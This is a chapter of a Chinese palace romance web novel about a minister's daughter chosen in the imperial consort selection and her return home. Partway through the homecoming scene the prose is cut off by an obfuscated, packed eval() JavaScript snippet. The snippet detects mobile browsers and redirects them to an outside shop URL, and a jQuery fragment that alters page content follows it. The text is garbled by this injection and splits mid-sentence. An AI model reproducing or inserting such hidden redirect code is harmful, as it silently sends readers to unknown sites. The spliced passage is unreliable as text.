一组五人,秀女们按照规矩跟着宫人鱼贯而入。
盛珑玉站了许久,腿都要站僵硬了,更甚者因担心殿前失仪,早膳是几乎没有吃的,茶水也是不敢多喝的。
每组秀女在殿内的时间,大多从一炷香到两刻钟不等,像赵溪亭那组,她掐指一算,竟待足了三刻钟半。
时间越久,外面的秀女们也越发紧张胆怯。
再加上,被挑中留下的秀女直接被宫人引带至偏殿等候,赐花放出宫的才会被原路带回。
看着一位位秀女或失魂落魄或松了口气地从身边经过离开,只会加重她们的慌张不安。
“下一组。”
李嬷嬷见时间差不多了,领着包括盛珑玉在内的五人,缓步上前,刚好与里面被赐花的五位秀女擦肩而过。
五人在殿前站定,手执秀女花名册的内侍站在一旁高声唱名。
她排在第三个,过了一会儿,才听见自己的名字。
“正三品吏部尚书之女盛珑玉,年十八。”
盛珑玉款步上前,仪态端方的恭敬行礼:“臣女盛珑玉参见皇上、太后、皇后娘娘,愿皇上和娘娘万福金安。”
至于端坐上方的其他三位娘娘,是今早突然横插一脚而来的,秀女们入内不敢妄自环顾,不知也是情有可原。
“起来吧。”太后率先出声,温和中带着让人一听便知的笑意,“哀家许久未见过你了,看看,出落得如此亭亭玉立,不错。”
皇后贴在茶盏上的手指蜷动,正要开口,却被坐在下方的万妃突然插嘴。
“你抬起头来。”
盛珑玉抬头,目光只停留在下方,不可直视。
那张脸完全露在高台的几人眼中,太后讶异地闪过一抹惊艳。
淡妆娇面,轻注朱唇,明媚的不可方物,好似满殿的曦光都偏爱她,萦绕在周围,将她衬托得如同散发着光芒。
万妃看清了她的面容,心里怄得更气极了。
看见万妃这副模样,皇后目光沉沉,面上不显实则差点笑出声来。她虽也不喜容貌过甚的女子,可这宫里貌美的女子多的是,再不喜又如何。
能让皆认为明艳风情的万妃都觉得落了下风、心中嫉恨,比起警惕,皇后反而觉得畅快胜意。
“哼。”万妃冷哼,言语夹带着一丝尖锐,“长得还算过得去,年纪却是大了……”
“噤声。”
“万妃,若是不想说话可以不说。”
不承想凤栖安和太后二人异口同声,一个眼神冷厉,一个语气更是毫不客气。
吓得万妃不明所以,察觉到自己惹了圣上不快,瞬间闭嘴垂头,连委屈的神情也不敢露出来。
梅妃和德妃也觉出不对劲,梅妃愣怔地看向凤栖安,眼中难掩惊讶落寞,皇上对这位秀女似乎过分维护关注了;德妃却看向盛珑玉,若有所思。
气氛陡然变得凝滞。
皇后适时打破:“皇上可还有什么想问盛妹妹的了?”
凤栖安似笑非笑地回看,“皇后聪慧,她明日入宫后,你的确该唤一声妹妹。”
这便是记名留下了。
盛珑玉略等了数息,再度屈膝行礼。
“臣女谢皇上、太后、皇后娘娘恩典。”
说完她欲后退两步回归同列,凤栖安却又出声,这回是直接与她说的。
“替朕向盛大人带声好,放他三日休沐,还真有些记挂。”
“是。”
她稳住脚步,趁这时机大胆地往上看去,终得见圣颜,与凤栖安还未抽移开的视线撞在一起。
他眉头微蹙,掠过一抹意外。殿下那个胆大包天的如画女子,被自己目光捉住了也不怕,竟还展露出一副狡黠烂漫的笑颜。
笑脸一闪而过,盛珑玉似乎后知后觉出自己的大胆妄为,连忙低下头站回自己的位置。
内侍也开始唱名下一位秀女。
凤栖安的心神却还留在她方才的笑颜上,无意识地转了转手上的白玉扳指。
良久,才从眉眼间泄露出一丝不易察觉的笑意。
这小丫头性子倒是没变。
这一组五位秀女,除了盛珑玉外再没有被挑中的。赐完花,另有宫人迎她移步偏殿。
殿内已有六人,赵溪亭和钱诗雨这两个无需多说她,她已经很熟了还见识过好几番拙劣的手段;
屈楚楚,听说是地方采选入京的,说过几次话还算熟悉;
至于剩下的三人,魏玥琳、纪茶和陆筱,她不算熟悉。
盛珑玉不动声色地打量了下陆筱,这位陆姑娘就是那日揭发王、柳秀女偷盗陷害之人。
没想到她也入选了,以她素日的性子,希望入宫能是个好事吧。
听到有新人到来,殿内几人通通看了过来。
在看到是盛珑玉时,赵钱二人早有心理准备,也难□□露出失望,看得出来很不希望她通过了。
其他几人也是心思各异,
“盛姐姐!”
屈楚楚在这之中尤为特别,她神情明显松缓,碎步过来牵住了她的一角衣袖。
与她平日里木讷寡言、默默无闻的做派相差甚大,招致其他几人神色各异地盯着她俩看了又看。
像赵溪亭之流,十足讶异,完全没想到她俩关系居然这么好?
别说其他人了,盛珑玉自己都挺惊讶的。
转念一想就明白了,殿内其他人除了陆筱以外,或多或少都瞧不起她,终于来了个关系还算亲近,屈楚楚的确如释重负。
盛珑玉嫌弃这里的气氛太暗流涌动,干脆随意挑了几个话题,引得其他几人全都加入进来。
别管关系如何,就连赵钱二人也抛开别扭,眼睛亮亮地跟大家有说有笑。
自选秀期间就老是被欺负的陆筱,也不禁被逗笑了好几次。
她笑起来别有一番风情,盛珑玉挑了挑眉,没想到皇上眼光还挺好。
过了一会儿,章若兮是第八个进来的,然后是第九个,阮芷柔。
再然后……就没有了。
她们九个人在偏殿又坐了小半个时辰,再没有新的通过殿选的秀女了。
等到内侍前来告知,她们可以随李嬷嬷回掖庭收拾行囊,返家等待明日的封位圣旨时,便明白殿选结束了。
几人左右互相对视,都从对方眼中看到了吃惊。
要知道这可是当今圣上登基后首次选秀,还是大选,最后竟只留下了九人?
比之先帝三年一选,回回都要留下十数人来说,数量真不算多了。
盛珑玉没怎么揣测,她现在只想赶紧回家,脚下生风。
-
东城百井巷,盛府门口,早有护院管事丫鬟在此翘首以盼。
直到看到熟悉的马车出现在巷口,几人当即精神振奋,等马车停下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588761|205395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一只纤纤玉手挑开帷帘。
“姑娘!”
“姑娘你可回来了!”
盛珑玉的两个贴身丫鬟,竹夏和冬见,忙不迭地跑上来搀扶她。
管事还身后提点:“怎么还叫姑娘呢,该叫小主了!问小主安,老爷夫人和公子们也一直等着您呢。”
说是等着,的确是正焦急地等着呢。
刚进府里的大门,就看到她爹娘和两位兄长在过客厅内,团团转悠。唯有她娘还算端庄冷静,嫌弃地看着家里的三个男人。
不过甫一看见她,她娘江云棠立马飞奔过来,生生挤开他人,把她抱在怀里红了眼眶。
“好了好了。”
她爹盛逾拉过江云棠,带着她和两个儿子,规规矩矩地向盛珑玉行臣礼问安。
哪怕至亲血缘,宫规就是宫规。
盛珑玉秀眉轻攒,入宫是她所愿,唯在这一点上,她最为讨厌又无可奈何。
不等爹娘兄长行完礼,她就扑了过去撞进她娘怀里,撒娇:
“娘亲,昫儿饿坏了。”
江云棠这一听还得了,柳叶眉一拧,狠狠地剐了眼盛逾,忙带着宝贝闺女去饭厅。
“早就给你备好了,贪吃鬼。”
二哥盛秉谦毫不客气地弹了下她的额头,然后被大哥盛湛明捶了一拳。
终于吃上了今日的第一顿膳食,盛珑玉满意了,殿选是个体力活,在偏殿让她们多说话少想着有的没的,更是个体力活。
还好在自家,可以彻底放松了。
“爹,跟你说件事。”吃饱喝足后,她忽而想起。
盛逾见怪不怪,起身和她去了书房。知子莫若父,不消她说光看这表情,他就知道有人得罪自己的宝贝女儿了。
不出意料,盛珑玉简单的提了下,章若兮和赵溪亭二人合谋,企图顺带牵连陷害自己的事。
听罢盛逾连连冷笑,“女儿放心,为父心中有数了。”
她点点头,没多把这事放心上,她爹是个极有分寸的纯臣,公报私仇不至于,给赵章两家添点堵还是无伤大雅的。
说完了这个,盛逾担忧地皱着眉,把自己尽力打听到的有关后宫的局势,不厌其烦地又跟她细细说了几遍。
“侍女是否就带竹夏和冬见了?”
“嗯。”她早就想好了,“她二人陪在女儿身边的时间最久,竹夏机灵,冬见谨慎还懂医术,最合适不过了。”
况且……
“是个好的。”盛逾语气意味深长。
父女俩显然想到了一块,相视而笑,尽在不言中。
盛家这边其乐融融,而另一边皇宫内,朝阳宫,哪怕到了深夜也依旧灯火长明。
皇后刚把大公主哄睡,拿起女儿今日的功课回到主殿的内室。
还未翻看两页,芜若风风火火地跑进来,手里捧着的正是递到紫宸殿,给皇上过目的新妃名册。
芜叶脸色难看地责备她:“怎这么冒失,倘若冲撞到娘娘该如何是好。”
芜若讷讷,小心觑了觑娘娘的神色。
“好了。”皇后的心思不在这上,只问:“到底怎么了?”
“皇上把娘娘您拟好的位份改了几个,还把安排进弦月宫的新小主移到了别的宫。”
“砰——”
碎裂的瓷器碎片迸溅一地,芜叶紧紧抿住唇,身形躲也没躲,已料到娘娘会生气。